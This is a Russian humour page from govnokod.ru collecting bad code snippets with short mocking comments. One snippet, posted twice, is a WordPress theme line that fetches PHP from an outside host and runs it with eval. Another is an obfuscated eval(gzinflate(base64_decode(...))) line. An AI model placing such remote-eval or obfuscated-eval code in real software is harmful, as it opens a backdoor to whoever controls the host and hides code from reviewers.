- 1
return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=27&n'));
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+171
return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=27&n'));
Вот такие простые ребята клепают темы для вордпресса.
+171
var perviy = document.getElementById ('perviy');
var vtoroy = document.getElementById ('vtoroy');
perviy += vtoroy;
vtoroy = perviy - vtoroy;
perviy -= vtoroy;
Меняем элементы местами.
+171
global $_GET,$_POST,$HTTP_POST_VARS,$HTTP_GET_VARS;
if (!is_array($_GET)){$_GET=$HTTP_GET_VARS;}
if (!is_array($_POST))$_GET=$HTTP_POST_VARS;
+171
...
bool GameLocations::checkButtonsEnabled() const
{
GameClassT& gc = GameClass::instance();
return
!gc.getCurrentLocationPopup() &&
!gc.getHud().getCurrentWindowFore() &&
!gc.isMenuOpen() &&
!gc.isEndOfDay() &&
!GameClass::instance().isMouseConsumedThisFrame();
}
...
void LocationPopupBase::update(float dt)
{
...
const bool inputEnabled =
m_isActive &&
!m_talentUsedWindowActive &&
!m_dialogueManager.isVisible() &&
!GameClass::instance().getHud().getCurrentWindowBack() &&
!GameClass::instance().getHud().getCurrentWindowFore() &&
(!m_currentAction ||
((*m_currentActionPhase == AP_Finalize) && !m_currentAction->m_immediateFinalize)) &&
m_actionSequenceCallbacks.empty();
setInputEnabled(inputEnabled);
}
...
Вот во что со временем превращаются игровые проекты, в которых нет никакой стейт-машины или хоть какого-нибудь её аналога.
Это - только вершина айсберга. Разнообразные (старые и новые) баги обработки ввода постоянно появляются из ниоткуда, исчезают в никуда, а фиксить их приходится минимум по пять раз в неделю.
+171
inExp = function (dig, exp) {
02.if (exp == 1) return alert(dig);
03.if (exp == 2) return alert(dig*dig);
04.if (exp == 3) return alert(dig*dig*dig);
05.if (exp == 4) return alert(dig*dig*dig*dig);
06.if (exp == 5) return alert(dig*dig*dig*dig*dig);
07.if (exp == 6) return alert(dig*dig*dig*dig*dig*dig);
08.if (exp == 7) return alert(dig*dig*dig*dig*dig*dig*dig);
09.if (exp == 8 ) return alert(dig*dig*dig*dig*dig*dig*dig*dig);
10.if (exp == 9) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig);
11.if (exp == 10) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
12.if (exp == 11) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
13.if (exp == 12) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
14.if (exp == 13) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
15.if (exp == 14) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
16.if (exp == 15) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
17.if (exp == 16) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
18.if (exp == 17) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
19.if (exp == 18) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
20.if (exp == 19) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
21.if (exp == 20) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
22.if (exp == 21) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
23.if (exp == 22) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
24.if (exp == 23) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
25.if (exp == 24) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
26.if (exp == 25) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
27.if (exp == 26) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
28.if (exp == 27) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
29.if (exp == 28) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
30.if (exp == 29) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
31.if (exp == 30) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
32.}
Боян не? попалось на глаза в блоге каком-то случайно
+171
bool BMPTextureLoader::Load (GraphicContent **content, string file_name)
{
int width, height;
int bpp;
unsigned char *pixels;
ifstream file (file_name.c_str());
char temp[4];
long unsigned int data_shift;
//Read BMP identifier (bfType)
file.read(temp,2);
temp[2] = '\0';
if ((temp[0] != 'B') || (temp[1] != 'M'))
{
return false;
}
//Ignore file size and two reserved zero (bfSize, bfReserved1, bfReserved2)
file.ignore(8);
//Read pixel-data shift (bfOffBits)
file.read(temp,4);
data_shift = 0;
for (int i=0; i<4; i++)
{
data_shift += (int)(temp[i]) * pow(256.0,i);
}
if (data_shift < 54)
{
return false;
}
//Ignore information data size (biSize)
file.ignore(4);
//Read image width (biWidth)
file.read(temp,4);
width = 0;
for (int i=0; i<4; i++)
{
width += (int)(temp[i]) * pow(256.0,i);
}
if (width < 0)
{
return false;
}
//Read image height (biHeight)
file.read(temp,4);
height = 0;
for (int i=0; i<4; i++)
height += (int)(temp[i]) * pow(256.0,i);
if (height < 0)
{
return false;
}
//Read mandatory 1 (biPlanes)
file.ignore(2);
//Read bite per pixel (biBitCount)
file.read(temp,2);
int bipp = 0;
bipp += (int)(temp[0]) + (int)(temp[1])*256;
if ((bipp <= 0) || (bipp / 8. != 3))
{
return false;
}
bpp = 3;
//Read compression type (biCompression)
file.read(temp,4);
int c_type = 0;
for (int i=0; i<4; i++)
{
c_type += (int)(temp[i]) * pow(256.0,i);
}
if (c_type != 0)
{
return false;
}
file.close();
file.open(file_name);
file.ignore (data_shift);
//Read pixel data
pixels = new unsigned char[width*height*bpp];
for (int i=height-1; i>=0; i--)
{
for (int j=0; j<width; j++)
{
file.read(reinterpret_cast<char*>(&pixels[i*width*bpp + j*bpp + 2]), 1);
file.read(reinterpret_cast<char*>(&pixels[i*width*bpp + j*bpp + 1]), 1);
file.read(reinterpret_cast<char*>(&pixels[i*width*bpp + j*bpp]), 1);
}
}
//Create texture
Terminal terminal;
Считываю BMP файл. Размеры, количество бит на пиксель и тип сжатия считываются нормально. Бит на пиксель 24, сжатия нет(0). Дальше я переоткрываю файл и отступаю нужное кол-во пикселей (смещение данных). После этого считываю данные о цветах пикселей. С рисунками нарисованными непосредственно мной всё проходит нормально. Но с картинками взятыми из интернета происходит сбой. После определённого пикселя считывание прекращается. По дебагу получается что при достижение этого пикселя наступает конец файла. Пробовал вырезать куски изображения из нета и переносить в свой файл. Одни куски переносятся и всё нормально, другие обрывают считывание. Наблюдал эту проблему у нескольких рисунков. Возможно кто-то сталкивался с такой проблемой?
Источник: http://www.gamedev.ru/code/forum/?id=144831
+171
void Cryptogram(const vector<string> &vector1, vector<string> &vector2)
{
string word;
char new_letter;
long i, j, wordSize, vecSize, vecSize2;
vecSize = vector1.size();
for(j=0; j<vecSize; j++)
{
word = vector1[j];
//cout<<word<<endl;
wordSize = word.size();
cout<<wordSize<<endl;
for(i=0; i<wordSize; i++)
{
new_letter = word[i];
cout<<"& " << new_letter<< " " << isalpha(new_letter) << endl;
if(isalpha(new_letter)==true)
{
if(isupper(new_letter)==true)
{
if (new_letter == 'A')
new_letter = 'W';
else if(new_letter == 'B')
new_letter = 'Y';
else if(new_letter == 'C')
new_letter = 'I';
else if(new_letter == 'D')
new_letter = 'J';
else if(new_letter == 'E')
new_letter = 'K';
else if(new_letter == 'F')
new_letter = 'C';
else if(new_letter == 'G')
new_letter = 'U';
else if(new_letter == 'H')
new_letter = 'V';
else if(new_letter == 'I')
new_letter = 'D';
else if(new_letter == 'J')
new_letter = 'P';
else if(new_letter == 'K')
new_letter = 'Q';
else if(new_letter == 'L')
new_letter = 'L';
else if(new_letter == 'M')
new_letter = 'Z';
else if(new_letter == 'N')
new_letter = 'H';
else if(new_letter == 'O')
new_letter = 'T';
else if(new_letter == 'P')
new_letter = 'G';
else if(new_letter == 'Q')
new_letter = 'A';
else if(new_letter == 'R')
new_letter = 'B';
else if(new_letter == 'S')
new_letter = 'M';
else if(new_letter == 'T')
new_letter = 'X';
else if(new_letter == 'U')
new_letter = 'E';
else if(new_letter == 'V')
new_letter = 'F';
else if(new_letter == 'W')
new_letter = 'O';
else if(new_letter == 'X')
new_letter = 'N';
else if(new_letter == 'Y')
new_letter = 'R';
else if(new_letter == 'Z')
new_letter = 'S';
}
Cryptogram function, it's much longer, with 26 if statements if the letter is lowercase.
+171
if($nav_url=="blog.php")
{
$ahaha='2';
eval('$code["$elementtype"] .= "' . fetch_template('navbar_link') . '";');
$ahaha='';
}
else
{
eval('$code["$elementtype"] .= "' . fetch_template('navbar_link') . '";');
}
Ахаха!
+171
#include <iostream>
template <int n>
struct Solution
{
static const int count = Solution<n / 10>::count + 1;
static const int sum = Solution<n / 10>::sum + n % 10;
static const int last = n % 10;
static const int first = Solution<n / 10>::first;
};
#define DECLARE_ONE_DIGIT_SOLUTION(n) template <>\
struct Solution<n>\
{\
static const int count = 1;\
static const int sum = n;\
static const int last = n;\
static const int first = n;\
};
DECLARE_ONE_DIGIT_SOLUTION(0)
DECLARE_ONE_DIGIT_SOLUTION(1)
DECLARE_ONE_DIGIT_SOLUTION(2)
DECLARE_ONE_DIGIT_SOLUTION(3)
DECLARE_ONE_DIGIT_SOLUTION(4)
DECLARE_ONE_DIGIT_SOLUTION(5)
DECLARE_ONE_DIGIT_SOLUTION(6)
DECLARE_ONE_DIGIT_SOLUTION(7)
DECLARE_ONE_DIGIT_SOLUTION(8)
DECLARE_ONE_DIGIT_SOLUTION(9)
int main()
{
const int number = 1024; // <-- то самое число a
std::cout << "Number of digits: " << Solution<number>::count << std::endl;
std::cout << "Sum: " << Solution<number>::sum << std::endl;
std::cout << "Last digit: " << Solution<number>::last << std::endl;
std::cout << "First digit: " << Solution<number>::first << std::endl;
return 0;
}
Это один из ответов к слезной просьбе какого-то школьника (студента) выполнить за него д/з на С++ в разделе development форума на ЛОРе. Такую программу нарочно хрен напишешь.
Само задание: «Дано натуральное число а (a≤100). Напишите программу, определяющую количество цифр в этом числе, сумму его цифр, выводящую на экран первую и последнюю цифру через два пробела».
+171
<?php eval(gzinflate(base64_decode('s7ezsS/IKODl4uVKzkksLlYISS0uUagG8RXSSvOSSzLz88BiGpogUQUFhdTkjHwFJUeFEqCgkjVQqBZVcXF+bmo8iKehkgjTU5RaUlqUp6CSqKCtYATXU2tjDwA='))); ?>
Сегодня приятель спросил «а есть смысл сжимать PHP» и выдал вот эту хуйню. Сказал, что все свои проекты так сжимает. Как такое поддерживать потом?